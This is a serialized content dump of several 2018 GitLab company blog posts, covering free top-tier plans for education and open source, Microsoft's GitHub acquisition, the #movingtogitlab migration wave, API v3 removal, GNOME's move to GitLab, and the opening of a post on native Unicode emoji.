\"2018-06-05\",\n      }",{"title":33243,"description":33244,"authors":33249,"heroImage":33245,"date":33250,"body":33251,"category":813,"tags":33252},[711],"2018-06-05","\n\n**Update 2023-02-15:** This blog has been updated to remove an outdated reference to separately purchasing paid support.\nCurrent information on GitLab's Open Source benefits can be found [here](https://about.gitlab.com/solutions/open-source/).\n{: .alert .alert-warning}\n\nIt has been a [crazy 24 hours for GitLab](/blog/movingtogitlab/). More than [2,000 people tweeted about #movingtogitlab](https://twitter.com/movingtogitlab). We imported [over 100,000 repositories](https://twitter.com/gitlab/status/1004143715844124673), and we've seen a 7x increase in orders. We went [live on Bloomberg TV](https://www.youtube.com/watch?v=o7Y-aQgr8Dk&feature=youtu.be&t=30m59s). And on top of that, Apple announced an Xcode integration with GitLab.\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Apple just announced Xcode 10 is now integrated with GitLab making it seamless and easy for iOS developers to develop new and exciting applications with just a single application for the entire lifecycle.\u003Ca href=\"https://t.co/eQbtiY4IYm\">pic.twitter.com/eQbtiY4IYm\u003C/a>\u003C/p>&mdash; GitLab (@GitLab Chatops) \u003Ca href=\"https://twitter.com/gitlab/status/1003764673454342144?ref_src=twsrc%5Etfw\">June 4, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n![Github Imports Chart](https://about.gitlab.com/images/blogimages/github-imports-chart.png){: .medium.center}\n\nWe went live on YouTube on Sunday evening to answer your questions about #movingtogitlab and got a question from Mohammad Al-Ahdal who asked: \"What about Education Discounts or Student Dev Packs?\"\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/bKS6gJtTZes?start=3979\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen>\u003C/iframe>\n\nToday, we're excited to announce that GitLab Ultimate and Gold are now free for educational institutions and open source projects.\n\n1. [Educational institutions application](/solutions/education/)\n1. [Open source projects application](/solutions/open-source/)\n\n## What are GitLab Ultimate and GitLab Gold?\n\n[GitLab Ultimate and Gold](/pricing/) are our most comprehensive offerings. GitLab Ultimate is self-managed, whereas GitLab Gold is our SaaS offering hosted on GitLab.com. It includes all of the features in Core, Starter, and Premium, plus a more robust set of portfolio management and security features. For open source and educational projects, this means unlimited access to current and new features, including [Epics](https://docs.gitlab.com/ee/user/group/epics/), [Roadmap](https://docs.gitlab.com/ee/user/group/roadmap/), [Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/), [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/#doc-nav), and so much more!\n\n### Does it come with support?\n\nFree GitLab Ultimate and Gold accounts **do not** include support. Information on what's included can be found on our [open-source program page](https://about.gitlab.com/handbook/marketing/developer-relations/community-programs/opensource-program/).\n\n## Free GitLab account\n\nWhy provide a GitLab free account? We make GitLab free for education because we want students to use our most advanced features. Many universities already run GitLab. If the students use the advanced features of GitLab Ultimate and Gold they will take their experiences with these advanced features to their workplaces.\n\nWe would love to have more open source projects use GitLab. Public projects on GitLab.com already have all the features of GitLab Ultimate. And projects like [GNOME](https://www.gnome.org/news/2018/05/gnome-moves-to-gitlab-2/) and [Debian](https://salsa.debian.org/public) already run their own server with the open source version of GitLab. With today's announcement, open source projects that are comfortable running on proprietary software can use all the features GitLab has to offer, while allowing us to have a sustainable business model by charging non-open source organizations.\n\n",[815,736],{"slug":33254,"featured":6,"template":678},"gitlab-ultimate-and-gold-free-for-education-and-open-source","content:en-us:blog:gitlab-ultimate-and-gold-free-for-education-and-open-source.yml","Gitlab Ultimate And Gold Free For Education And Open Source","en-us/blog/gitlab-ultimate-and-gold-free-for-education-and-open-source.yml","en-us/blog/gitlab-ultimate-and-gold-free-for-education-and-open-source",{"_path":33260,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33261,"content":33267,"config":33272,"_id":33274,"_type":16,"title":33275,"_source":17,"_file":33276,"_stem":33277,"_extension":20},"/en-us/blog/microsoft-acquires-github",{"title":33262,"description":33263,"ogTitle":33262,"ogDescription":33263,"noIndex":6,"ogImage":33264,"ogUrl":33265,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33265,"schema":33266},"Congratulations GitHub on the acquisition by Microsoft","The acquisition of GitHub by Microsoft is validation of the growing influence of software developers in the world.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680101/Blog/Hero%20Images/github-news-cover.png","https://about.gitlab.com/blog/microsoft-acquires-github","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Congratulations GitHub on the acquisition by Microsoft\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-06-03\",\n      }",{"title":33262,"description":33263,"authors":33268,"heroImage":33264,"date":33269,"body":33270,"category":813,"tags":33271},[711],"2018-06-03","\n\nCongratulations to GitHub on their [acquisition by Microsoft](https://www.bloomberg.com/news/articles/2018-06-03/microsoft-is-said-to-have-agreed-to-acquire-coding-site-github)! This is validation of the growing influence of software developers in the world, and the importance of [modern DevOps](/topics/devops/). The software community owes a lot to GitHub, and that includes the GitLab community. GitLab was first developed on GitHub and found its first contributors through it.\n\n## Code collaboration before GitHub\n\nOver the years, code collaboration has come a long way. Many developers will remember how code was often hosted on private websites, FTP servers, email, and IRC. We used to stuff a floppy disk or CD-ROM with code and mail it back and forth, or send patches to newsgroups or mailing lists in order to share and work on code together. It was a painful, error-prone time.\n\nGit, the [version control system](/topics/version-control/) used by GitHub, GitLab, and others, was first introduced in 2005. It allowed developers to work asynchronously, across the globe, on the same code. GitWeb went a step further, with its web interface for browsing a Git repository, including viewing contents of files, commit messages, and more.\n\nSourceForge offered the first glimpse of modern code collaboration by offering a central location to host and manage free, open source projects. Despite limited functionality and a cumbersome UI, SourceForge started bringing developers together in one place.\n\nEach step along the way improved the developer experience, allowed more people to contribute, and sped up the software development lifecycle.\n\n## A common place for code\n\nGitHub launched in 2008. While Git version control was a starting point for better code collaboration, GitHub made it even easier. By applying modern communication features inspired by social media sites, GitHub empowered social coding. It provided the first truly accessible UI to manage and review feature branches, and the ability to merge them with one-click “Pull Requests.” As a result, open source projects flocked to GitHub as a place to not only host code, but to grow a community as well.\n\n\u003Cdiv class=\"row\">\n\u003Cdiv class=\"col-md-6 col-sm-12\">\n\u003Cimg src=\"/images/blogimages/git-instaweb.png\" alt=\"GitWeb user interface\">\n\u003C/div>\n\u003Cdiv class=\"col-md-6 col-sm-12\">\n\u003Cimg src=\"/images/blogimages/github-ui.png\" alt=\"GitHub user interface\">\n\u003C/div>\n\u003Cdiv class=\"col-md-12 text-center\" style=\"margin-top: 5px\">\n\u003Cem>\u003Csmall>GitHub’s UI made it easier to manage and review feature branches compared to its predecessor, GitWeb.\u003C/small>\u003C/em>\n\u003C/div>\n\u003C/div>\n\n## What does the Microsoft acquisition mean for the industry?\n\nThe growing influence of software developers cannot be overstated. Developers are the [new kingmakers](https://thenewkingmakers.com/) and their influence within organizations is growing along with their value.\n\nGitHub has earned mindshare within the developer community, and Microsoft’s acquisition is certainly an attempt to garner and cultivate that mindshare. However, the long-term strategic implication seems to be that Microsoft wants to use GitHub as a means to drive Azure adoption.\n\nDeveloper tools have a high capacity for driving cloud usage. Once you have your application code hosted, the natural next step is to need a place to deploy it. Today, Microsoft fosters cloud adoption by tightly coupling Azure, its cloud service, together with Microsoft Visual Studio Team Services (VSTS), its set of development tools. Microsoft will likely integrate GitHub into VSTS in order to take advantage of the strong tie with Azure.\n\n> *“The way developers produce, deliver and maintain code has changed significantly in the last ten years and we applaud GitHub for being a driving force supporting the vast independent developer community through this evolution. This acquisition affirms the global importance of software developers and their influence in the enterprise. Microsoft likely acquired GitHub so it could more closely integrate it with Microsoft Visual Studio Team Services (VSTS) and ultimately help drive compute usage for Azure.” - [Sid Sijbrandij](/company/team/#sytses), GitLab CEO*\n\n## How does this relate to GitLab?\n\nWe applaud GitHub on its accomplishments and congratulate Microsoft on its acquisition. While we admire what's been done, our strategy differs in two key areas. First, instead of integrating multiple tools together, we believe a [single application](/handbook/product/single-application/), built from the ground up to support the entire DevOps lifecycle, is a better experience leading to a faster cycle time. Second, it’s important to us that the [core of our product always remain open source](/blog/gitlab-is-open-core-github-is-closed-source/) itself as well. Being “open core” means everyone can build the tools together. Having it all in a single application means everyone can use the same tool to collaborate together. We see the next evolution of software development as a world where everyone can contribute.\n",[815,736,1067],{"slug":33273,"featured":6,"template":678},"microsoft-acquires-github","content:en-us:blog:microsoft-acquires-github.yml","Microsoft Acquires Github","en-us/blog/microsoft-acquires-github.yml","en-us/blog/microsoft-acquires-github",{"_path":33279,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33280,"content":33285,"config":33289,"_id":33291,"_type":16,"title":33292,"_source":17,"_file":33293,"_stem":33294,"_extension":20},"/en-us/blog/movingtogitlab",{"title":33281,"description":33282,"ogTitle":33281,"ogDescription":33282,"noIndex":6,"ogImage":29388,"ogUrl":33283,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33283,"schema":33284},"#movingtogitlab","People are #movingtogitlab. New users can get 75% off on Gold or Ultimate for one year.","https://about.gitlab.com/blog/movingtogitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"#movingtogitlab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-06-03\",\n      }",{"title":33281,"description":33282,"authors":33286,"heroImage":29388,"date":33269,"body":33287,"category":299,"tags":33288},[711],"\n\nWith the recent news of [Microsoft's acquisition of GitHub](https://www.bloomberg.com/news/articles/2018-06-03/microsoft-is-said-to-have-agreed-to-acquire-coding-site-github), we've seen a trend of #movingtogitlab which now has [more than 1,000 tweets](https://twitter.com/movingtogitlab).\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Stats on how Twittersphere is responding to reports that \u003Ca href=\"https://twitter.com/github?ref_src=twsrc%5Etfw\">@github\u003C/a> is about to be acquired by \u003Ca href=\"https://twitter.com/Microsoft?ref_src=twsrc%5Etfw\">@Microsoft\u003C/a> .\u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> and \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> are the most popular in GitHub mentioned tweets, unsurprisingly \u003Ca href=\"https://t.co/dt9ZdoTQBI\">pic.twitter.com/dt9ZdoTQBI\u003C/a>\u003C/p>&mdash; Vicinitas 📈: Hashtag &amp; Keyword Tracking (@vicinitas_io) \u003Ca href=\"https://twitter.com/vicinitas_io/status/1003431925237760000?ref_src=twsrc%5Etfw\">June 4, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nWe're also seeing a massive increase in projects migrating to GitLab.\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">We&#39;re seeing 10x the normal daily amount of repositories \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> \u003Ca href=\"https://t.co/7AWH7BmMvM\">https://t.co/7AWH7BmMvM\u003C/a> We&#39;re scaling our fleet to try to stay up. Follow the progress on \u003Ca href=\"https://t.co/hN0ce379SC\">https://t.co/hN0ce379SC\u003C/a> and \u003Ca href=\"https://twitter.com/movingtogitlab?ref_src=twsrc%5Etfw\">@movingtogitlab\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1003409836170547200?ref_src=twsrc%5Etfw\">June 3, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cdiv class=\"row\">\n\u003Cdiv class=\"col-md-6 col-sm-12\">\n\u003Cimg src=\"/images/blogimages/projects-created.png\" alt=\"Projects created in GitLab\">\n\u003C/div>\n\u003Cdiv class=\"col-md-6 col-sm-12\">\n\u003Cimg src=\"/images/blogimages/github-imports-chart.png\" alt=\"GitHub imports to GitLab\">\n\u003C/div>\n\u003Cdiv class=\"col-md-12 text-center\" style=\"margin-top: 5px\">\n\u003C/div>\n\u003C/div>\n\n## Why are people #movingtogitlab?\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">I love \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a>, the integration between code repository, documentation management, issue tracking and CI/CD is seamless ... and free. \u003Ca href=\"https://twitter.com/github?ref_src=twsrc%5Etfw\">@github\u003C/a> moving to Microsoft could be huge for GitLab \u003Ca href=\"https://t.co/t9Jzyf9dmV\">https://t.co/t9Jzyf9dmV\u003C/a>\u003C/p>&mdash; Oli Young (@oliyoung) \u003Ca href=\"https://twitter.com/oliyoung/status/1003408661815836672?ref_src=twsrc%5Etfw\">June 3, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Even if you go with \u003Ca href=\"https://t.co/e5iMjTswKf\">https://t.co/e5iMjTswKf\u003C/a> at first, the fact you’re able to quickly run your own GitLab CE install and migrate from \u003Ca href=\"https://t.co/e5iMjTswKf\">https://t.co/e5iMjTswKf\u003C/a> is crucial.\u003C/p>&mdash; Matt Lee (@mattl) \u003Ca href=\"https://twitter.com/mattl/status/1003437203480072192?ref_src=twsrc%5Etfw\">June 4, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">GitLab also ranks very highly on the FSF ethical criteria evaluation. \u003Ca href=\"https://t.co/oHvmNQqA1u\">https://t.co/oHvmNQqA1u\u003C/a>\u003C/p>&mdash; Matt Lee (@mattl) \u003Ca href=\"https://twitter.com/mattl/status/1003437206462136324?ref_src=twsrc%5Etfw\">June 4, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">No problem, I mean what&#39;s not to love? You improve consistently, you listen to the community and you make using your platform feel like you&#39;re a part of something special. I support you all the way, I have no need to be \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> as I&#39;ve used \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> for nearly 2 years now\u003C/p>&mdash; LTN Games (@LTNGames) \u003Ca href=\"https://twitter.com/LTNGames/status/1003079862058409984?ref_src=twsrc%5Etfw\">June 3, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\n## How to move to GitLab\n\nWe've tried to make it as simple as possible to migrate your projects from GitHub to GitLab.\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Had planned to spend the day moving our repos from \u003Ca href=\"https://twitter.com/github?ref_src=twsrc%5Etfw\">@github\u003C/a> to \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> following the MS rumours.. turns out  it took &lt; 5 minutes 😂 swish 👍🏻🦄 time for beer 👍🏻 \u003Ca href=\"https://twitter.com/hashtag/devops?src=hash&amp;ref_src=twsrc%5Etfw\">#devops\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/git?src=hash&amp;ref_src=twsrc%5Etfw\">#git\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/winning?src=hash&amp;ref_src=twsrc%5Etfw\">#winning\u003C/a>\u003C/p>&mdash; Aperitif (@AperitifIO) \u003Ca href=\"https://twitter.com/AperitifIO/status/1003005028590936064?ref_src=twsrc%5Etfw\">June 2, 2018\u003C/a>\u003C/blockquote>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">It literally takes only 2 clicks to move to GitLab \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> \u003Ca href=\"https://twitter.com/movingtogitlab?ref_src=twsrc%5Etfw\">@movingtogitlab\u003C/a>\u003C/p>&mdash; Pablo (@PablockMS) \u003Ca href=\"https://twitter.com/PablockMS/status/1003385604569223168?ref_src=twsrc%5Etfw\">June 3, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nYou can read through the [documentation](https://docs.gitlab.com/ee/user/project/import/github.html) or watch the step-by-step video below.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/VYOXuOg9tQI\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen>\u003C/iframe>\n\n## New users get a 75% discount on GitLab's top tier plans\n\nNew GitLab users can get 75 percent off [GitLab Ultimate](/pricing/) or [Gold](/pricing/#gitlab-com) for one year. GitLab Ultimate is our top-tier self-managed offering, and GitLab Gold is our top-tier SaaS offering hosted by GitLab.com. To qualify you have to:\n\n1. Be a new user of GitLab.\n1. Send a [tweet that includes #movingtogitlab](https://twitter.com/intent/tweet?text=I%27m%20%23movingtogitlab) from your account before Wednesday, June 6, 11:59pm Pacific time.\n1. Send an email to [movingtogitlab@gitlab.com](mailto:movingtogitlab@gitlab.com) with a link to the tweet.\n1. We will send you a discount code or a quote document that can be executed by you.\n1. You need to place an order at or before Saturday, June 30, 11:59pm Pacific time.\n",[815,736],{"slug":33290,"featured":6,"template":678},"movingtogitlab","content:en-us:blog:movingtogitlab.yml","Movingtogitlab","en-us/blog/movingtogitlab.yml","en-us/blog/movingtogitlab",{"_path":33296,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33297,"content":33302,"config":33307,"_id":33309,"_type":16,"title":33310,"_source":17,"_file":33311,"_stem":33312,"_extension":20},"/en-us/blog/api-v3-removal-impending",{"title":33298,"description":33299,"ogTitle":33298,"ogDescription":33299,"noIndex":6,"ogImage":12013,"ogUrl":33300,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33300,"schema":33301},"Breaking change: Support for API v3 will be removed June 4","With the removal of deprecated GitLab API v3 in GitLab 11.0, requests to the API v3 will fail.","https://about.gitlab.com/blog/api-v3-removal-impending","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Breaking change: Support for API v3 will be removed June 4\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Ramsay\"}],\n        \"datePublished\": \"2018-06-01\",\n      }",{"title":33298,"description":33299,"authors":33303,"heroImage":12013,"date":33304,"body":33305,"category":299,"tags":33306},[24597],"2018-06-01","\nOn June 4, 2018 integrations using API v3 connected to GitLab.com will stop\nworking. With the release of GitLab 11 on June 22, 2018 the API v3 will be\nremoved completely. **Update all integrations before June 4 to avoid downtime.**\n\n\u003C!-- more -->\n\nIn the GitLab 8.17 release post, we announced the [deprecation of API v3](/releases/2017/02/22/gitlab-8-17-released/), and that support for API\nv3 would be dropped in a future release.\n\nPlease ensure that you upgrade any integrations to API v4 to avoid any\ndowntime. Documentation is available for [upgrading from v3 to v4](https://docs.gitlab.com/ee/update/).\n\n## When will this happen?\n\nThe API v3 will be removed in GitLab 11.0 on 22 June, 2018.\nPlease consider that integrations using API v3 connected to GitLab.com will\nstop working as soon as the first RC is deployed to production, and this will\nhappen around 4 June, 2018. **Update all integrations before this date**.\n",[736,774,232],{"slug":33308,"featured":6,"template":678},"api-v3-removal-impending","content:en-us:blog:api-v3-removal-impending.yml","Api V3 Removal Impending","en-us/blog/api-v3-removal-impending.yml","en-us/blog/api-v3-removal-impending",{"_path":33314,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33315,"content":33320,"config":33325,"_id":33327,"_type":16,"title":33328,"_source":17,"_file":33329,"_stem":33330,"_extension":20},"/en-us/blog/welcome-gnome-to-gitlab",{"title":33316,"description":33317,"ogTitle":33316,"ogDescription":33317,"noIndex":6,"ogImage":21918,"ogUrl":33318,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33318,"schema":33319},"GNOME, welcome to GitLab!","We’re excited to welcome free software project GNOME to the GitLab community.","https://about.gitlab.com/blog/welcome-gnome-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GNOME, welcome to GitLab!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-05-31\",\n      }",{"title":33316,"description":33317,"authors":33321,"heroImage":21918,"date":33322,"body":33323,"category":813,"tags":33324},[19026],"2018-05-31","\n\nGNOME, one of the most recognized, respected projects in the open source world, [has moved to GitLab](https://www.gnome.org/news/2018/05/gnome-moves-to-gitlab-2/) to manage their more than 400 software projects and nearly 900 annual contributors. We couldn’t be happier to welcome the GNOME community! The migration is great news for both our communities, and we hope it’s just the beginning of a long and productive partnership.\n\n[_Want to hear how it's going for GNOME now? We caught up with the project in September 2020_](/blog/gnome-follow-up/).\n{: .alert .alert-info .text-center}\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/v6GTrbfe9xk\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n## A catalyst for change\n\nLast year we were approached by developers of [Debian](/blog/automated-debian-package-build-with-gitlab-ci/) to consider dropping our Contributor License Agreement (CLA) in favor of the Developer’s Certificate of Origin (DCO). In November [we announced that we’d be switching to a DCO](/blog/gitlab-switches-to-dco-license/), and we’re happy that this change has been welcomed by the GNOME community too:\n\n>\"We applaud GitLab for dropping their CLA in favor of a more OSS-friendly approach. Open source communities are born from a sea of contributions that come together and transform into projects. This gesture affirmed GitLab's willingness to protect the individual, their creative process, and most importantly, keeps intellectual property in the hands of the creator.\" - Carlos Soriano, Board Director at GNOME\n\n## About GNOME\n\nGNOME software is used by millions of people worldwide, and is one of the largest and oldest free software projects. It’s best known for its desktop, which is a key part of the most popular GNU/Linux distributions, including Ubuntu, Debian, SUSE, and Fedora. However, the project also has a long history of producing critical pieces of software infrastructure: common parts of countless open source systems that are often taken for granted. Many essential, ubiquitous technologies began their life in the GNOME project, and have gone on to become the essential ingredients for a diverse range of products, communities, and companies. These include Mono, FOSS C# implementation used by Xamarin, a core team of Microsoft; and Inotify, Linux kernel file monitoring.\n\n“Throughout its history, the GNOME project has been the training ground for software engineers and contributors who have gone on to play important roles elsewhere,” says Nuritzi Sanchez, president of GNOME’s board of directors and core member of the engagement team. “With a focus on quality engineering, design-driven development, and system-level plumbing, GNOME serves as an excellent environment for new contributors, and GNOME alumni hold positions at Google, Apple, Microsoft, Red Hat, innovative startups, and beyond.”\n\nGNOME's software is found in televisions, e-book readers, in-vehicle infotainment systems, medical devices, and much more. The project continues to produce new, innovative technologies which are transforming the Linux ecosystem. Recent innovations include Flatpak and the accompanying app store, Flathub, which enables applications to run on any Linux-based operating system.\n\n## So, why GitLab?\n\nBefore migrating, GNOME used a broad range of tools to fulfil a number of specific purposes – from [CGit for hosting to Bugzilla for bug tracking](https://wiki.gnome.org/Initiatives/DevelopmentInfrastructure/ExistingState) – but the number of tools made the onboarding experience for new contributors cumbersome and confusing. They started looking for a single tool to meet more of their needs to make this process easier and to improve their own workflows.\n\n“We did an [extensive analysis](https://wiki.gnome.org/Initiatives/DevelopmentInfrastructure) of multiple tools as we considered a solution that would fit all the requirements of an organization as big as GNOME,” says Nuritzi. “We had a set of hard requirements, with the most important one being that it must be free software, ideally not only in license but also in spirit.”\n\nYou can check out [their analysis](https://wiki.gnome.org/Initiatives/DevelopmentInfrastructure) for a full account of the decision-making process.\n\n## What does the move mean for GNOME?\n\nGNOME was looking for a way to make it easier for newcomers to contribute, and they got it.\n\n“With a modern and familiar interface with well-designed tools, using GitLab makes the GNOME community more approachable – especially to a new generation of newcomers that is used to products that are modern-looking and easy to use,” says Nuritzi. They’ve also noticed that by using a single tool and having everyone under the same roof (as it were!), there’s more opportunity for teams to work together and cross-pollinate, resulting in a more engaged and collaborative community.\n\n### Better together\n\nApart from an easier workflow for newcomers and improved collaboration and cohesion between teams, GNOME has picked up on an unexpected benefit: the return of old projects and an influx of new ones. The ease of creating personal projects in GitLab has fostered better proximity between GNOME’s community of developers and [projects](https://gitlab.gnome.org/explore/groups), even if they aren’t part of the official GNOME project. “This allows those projects to be closer to our community of developers and products, and helps us increase our reach,” says Nuritzi. “We’re also very pleased to see that some major Linux distributions have begun to move part of their operations to groups in GNOME’s GitLab. This has allowed more collaboration between GNOME and these distributions, and is a great step forward in helping to create a tighter-knit broader community.”\n\nThis improved closeness and reach is what we’re really excited about – when it comes to open source communities using GitLab, the more the merrier we say! It’s our hope that the boost in collaboration and networking GNOME has experienced will extend to our own community, as well as those of other open source projects moving to GitLab.\n\n## How to contribute\n\nIn keeping with our own vision of “everyone can contribute,” GNOME has opportunities for contributors from all backgrounds. “If you like marketing and community management, we have the engagement team, if you’re into doing translations and documentation, we have the teams for that. If you like designing software, we have the design team. And if you want to contribute code, there are many projects with maintainers who welcome newcomers and can help answer the questions they may have,” says Nuritzi. “Each team has its own resources and workflows, but we all belong to the larger GNOME community with a common culture based on free software and open collaboration.” Visit [gnome.com/get-involved](https://www.gnome.org/get-involved/) to get started.\n",[815,736,267],{"slug":33326,"featured":6,"template":678},"welcome-gnome-to-gitlab","content:en-us:blog:welcome-gnome-to-gitlab.yml","Welcome Gnome To Gitlab","en-us/blog/welcome-gnome-to-gitlab.yml","en-us/blog/welcome-gnome-to-gitlab",{"_path":33332,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33333,"content":33339,"config":33344,"_id":33346,"_type":16,"title":33347,"_source":17,"_file":33348,"_stem":33349,"_extension":20},"/en-us/blog/journey-in-native-unicode-emoji",{"title":33334,"description":33335,"ogTitle":33334,"ogDescription":33335,"noIndex":6,"ogImage":33336,"ogUrl":33337,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33337,"schema":33338},"Our journey in switching to native Unicode emoji","Unicode is hard. Here's a guide to getting native Unicode Emoji right 👌. Learn more!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672573/Blog/Hero%20Images/journey-in-native-unicode-emoji-cover.png","https://about.gitlab.com/blog/journey-in-native-unicode-emoji","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our journey in switching to native Unicode emoji\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Eastwood\"}],\n        \"datePublished\": \"2018-05-30\",\n      }",{"title":33334,"description":33335,"authors":33340,"heroImage":33336,"date":33341,"body":33342,"category":734,"tags":33343},[26230],"2018-05-30","The switch from image-based emoji to native Unicode wasn't a straightforward journey and included many intricacies to get production ready. Support varies widely on each OS, even between the browsers on the OS. We also wanted to support falling back to image-based emoji for environments that do not support everything yet, otherwise people would see black squares (□). As a simple example, most Linux environments do not have Unicode emoji support unless you manually install a font. I consider this blog post the survival manual I wish I had had when implementing native Unicode emoji myself.\n\n## What is Unicode emoji?\n\nUnicode emoji is a universal character encoding standard maintained by the [Unicode Consortium](https://home.unicode.org/basic-info/overview/) and It provides the basis for processing, storing, and interchanging text data in any language. As far as emojis themselves are concerned, this is the encoding system that develops and houses all emojis. Emojis are encoded in the Unicode system based on appearance rather than a specific semantic. \n\n## Are Unicode emojis compatible with all devices?\n\nThe short answer is yes!\n\nAll modern software providers have become compatible with Unicode so that data can be transferred freely without corruption, regardless of platform, language, or device. \n\nBefore Unicode, there were multiple character encoding systems to assign numbers to each of the letters and numbers that were used by computers. But these character encoding systems simply couldn’t keep up with the volume of languages using different letters and numbers. The data passing through these different encodings ran the risk of being corrupted due to a lack of sufficient support from a given computer - particularly servers.\n\nAnd so, a new system was born: Unicode.\n\n## Why move to native Unicode emoji?\n\nWe decided to switch to Unicode emoji because it was in line with our decision to use system fonts and it reduces the number of images loaded on a page. You can see the [full discussion in this issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/26371). We were also [interested in](https://gitlab.com/gitlab-org/gitlab-ce/issues/22474) [improving](https://gitlab.com/gitlab-org/gitlab-ce/issues/27250) the award emoji menu (emoji reaction selector) performance, so it would open quickly without an AJAX request and with less janky scrolling.\n\nThe first step was to find a way to detect whether a given Unicode emoji is supported. Since new emoji/characters are introduced in new versions/releases of Unicode specifications from the [Unicode Consortium](http://unicode.org/), we can consider every emoji in that version supported if a single emoji in that version tests positively. There are exceptions to assuming support for a whole Unicode version, but we can handle them individually as they come up. Unicode 10 is the current stable release but [Unicode Consortium](http://unicode.org/) is working on finishing up Unicode 11 and starting on Unicode 12 at the moment. The Unicode Consortium has [a full table of emoji here with the representation on various platforms](https://unicode.org/emoji/charts/full-emoji-list.html).\n\n## Testing for native emoji Unicode 